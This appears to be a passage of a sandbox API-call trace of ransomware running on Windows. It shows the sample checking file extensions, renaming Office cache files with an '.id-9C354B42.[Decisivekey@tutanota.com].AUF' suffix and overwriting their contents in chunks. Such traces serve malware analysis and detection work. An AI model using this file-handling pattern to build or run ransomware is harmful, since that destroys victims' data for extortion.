returned 75 [0211.604] lstrlenW (lpString=".doc") returned 4 [0211.604] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0211.604] lstrlenW (lpString=".docx") returned 5 [0211.604] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0211.604] lstrlenW (lpString=".pdf") returned 4 [0211.604] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0211.604] lstrlenW (lpString=".xls") returned 4 [0211.604] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0211.604] lstrlenW (lpString=".xlsx") returned 5 [0211.604] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0211.604] lstrlenW (lpString=".ppt") returned 4 [0211.604] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0211.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.604] lstrlenW (lpString=".zip") returned 4 [0211.605] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0211.605] lstrlenW (lpString=".rar") returned 4 [0211.605] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0211.605] lstrlenW (lpString=".bz2") returned 4 [0211.605] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0211.605] lstrlenW (lpString=".7z") returned 3 [0211.605] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString=".dbf") returned 4 [0211.605] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString=".1cd") returned 4 [0211.605] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString=".jpg") returned 4 [0211.605] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString=".doc") returned 4 [0211.605] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0211.605] lstrlenW (lpString=".docx") returned 5 [0211.605] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0211.605] lstrlenW (lpString=".pdf") returned 4 [0211.605] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0211.605] lstrlenW (lpString=".xls") returned 4 [0211.605] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0211.605] lstrlenW (lpString=".xlsx") returned 5 [0211.605] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0211.605] lstrlenW (lpString=".ppt") returned 4 [0211.605] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString=".zip") returned 4 [0211.605] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0211.605] lstrlenW (lpString=".rar") returned 4 [0211.605] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0211.605] lstrlenW (lpString=".bz2") returned 4 [0211.605] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0211.605] lstrlenW (lpString=".7z") returned 3 [0211.605] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString=".dbf") returned 4 [0211.605] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString=".1cd") returned 4 [0211.605] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0211.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0211.605] lstrlenW (lpString=".jpg") returned 4 [0211.605] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0211.605] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0211.605] lstrlenW (lpString="OnoteLR.cab") returned 11 [0211.606] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0211.613] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=17456632) returned 1 [0211.613] CloseHandle (hObject=0x198) returned 1 [0211.613] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0211.613] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.613] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0211.614] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0211.614] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0211.614] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.614] ReadFile (in: hFile=0x198, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.637] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.637] ReadFile (in: hFile=0x198, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.648] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.648] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.649] ReadFile (in: hFile=0x198, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.718] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.718] WriteFile (in: hFile=0x198, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0211.730] SetEndOfFile (hFile=0x198) returned 1 [0211.730] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.730] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.731] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.731] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.731] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.731] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.733] CloseHandle (hObject=0x198) returned 1 [0211.733] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0211.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.733] lstrlenW (lpString=".doc") returned 4 [0211.733] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.733] lstrlenW (lpString=".docx") returned 5 [0211.733] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.733] lstrlenW (lpString=".pdf") returned 4 [0211.733] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".xls") returned 4 [0211.734] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".xlsx") returned 5 [0211.734] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.734] lstrlenW (lpString=".ppt") returned 4 [0211.734] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.734] lstrlenW (lpString=".zip") returned 4 [0211.734] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".rar") returned 4 [0211.734] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".bz2") returned 4 [0211.734] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.734] lstrlenW (lpString=".7z") returned 3 [0211.734] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.734] lstrlenW (lpString=".dbf") returned 4 [0211.734] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.734] lstrlenW (lpString=".1cd") returned 4 [0211.734] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.734] lstrlenW (lpString=".jpg") returned 4 [0211.734] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.734] lstrlenW (lpString=".doc") returned 4 [0211.734] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".docx") returned 5 [0211.734] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.734] lstrlenW (lpString=".pdf") returned 4 [0211.734] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".xls") returned 4 [0211.734] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".xlsx") returned 5 [0211.734] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.734] lstrlenW (lpString=".ppt") returned 4 [0211.734] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.734] lstrlenW (lpString=".zip") returned 4 [0211.734] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".rar") returned 4 [0211.734] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.734] lstrlenW (lpString=".bz2") returned 4 [0211.734] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.735] lstrlenW (lpString=".7z") returned 3 [0211.735] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.735] lstrlenW (lpString=".dbf") returned 4 [0211.735] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.735] lstrlenW (lpString=".1cd") returned 4 [0211.735] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0211.735] lstrlenW (lpString=".jpg") returned 4 [0211.735] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.735] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0211.735] lstrlenW (lpString="GrooveLR.cab") returned 12 [0211.735] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0211.735] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=4095519) returned 1 [0211.735] CloseHandle (hObject=0x198) returned 1 [0211.735] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0211.735] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.736] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0211.736] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0211.736] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0211.736] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.736] ReadFile (in: hFile=0x198, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.756] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.756] ReadFile (in: hFile=0x198, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.868] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.868] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.868] ReadFile (in: hFile=0x198, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.933] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.933] WriteFile (in: hFile=0x198, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0211.954] SetEndOfFile (hFile=0x198) returned 1 [0211.954] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.954] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.955] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.955] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.957] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.957] WriteFile (in: hFile=0x198, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.085] CloseHandle (hObject=0x198) returned 1 [0212.086] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.086] lstrlenW (lpString=".doc") returned 4 [0212.086] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0212.086] lstrlenW (lpString=".docx") returned 5 [0212.086] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0212.086] lstrlenW (lpString=".pdf") returned 4 [0212.114] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0212.114] lstrlenW (lpString=".xls") returned 4 [0212.114] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0212.114] lstrlenW (lpString=".xlsx") returned 5 [0212.114] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0212.114] lstrlenW (lpString=".ppt") returned 4 [0212.114] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0212.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.114] lstrlenW (lpString=".zip") returned 4 [0212.114] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0212.114] lstrlenW (lpString=".rar") returned 4 [0212.114] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0212.114] lstrlenW (lpString=".bz2") returned 4 [0212.114] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0212.114] lstrlenW (lpString=".7z") returned 3 [0212.114] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0212.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.114] lstrlenW (lpString=".dbf") returned 4 [0212.114] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0212.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.114] lstrlenW (lpString=".1cd") returned 4 [0212.114] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0212.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.114] lstrlenW (lpString=".jpg") returned 4 [0212.114] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0212.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.114] lstrlenW (lpString=".doc") returned 4 [0212.114] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0212.114] lstrlenW (lpString=".docx") returned 5 [0212.114] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0212.114] lstrlenW (lpString=".pdf") returned 4 [0212.115] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0212.115] lstrlenW (lpString=".xls") returned 4 [0212.115] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0212.115] lstrlenW (lpString=".xlsx") returned 5 [0212.115] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0212.115] lstrlenW (lpString=".ppt") returned 4 [0212.115] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0212.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.115] lstrlenW (lpString=".zip") returned 4 [0212.115] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0212.115] lstrlenW (lpString=".rar") returned 4 [0212.115] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0212.115] lstrlenW (lpString=".bz2") returned 4 [0212.115] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0212.115] lstrlenW (lpString=".7z") returned 3 [0212.115] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0212.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.115] lstrlenW (lpString=".dbf") returned 4 [0212.115] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0212.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.115] lstrlenW (lpString=".1cd") returned 4 [0212.115] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0212.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0212.115] lstrlenW (lpString=".jpg") returned 4 [0212.115] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0212.169] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0212.169] lstrlenW (lpString="dwintl20.dll") returned 12 [0212.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.170] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=107912) returned 1 [0212.170] CloseHandle (hObject=0x168) returned 1 [0212.170] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0212.170] 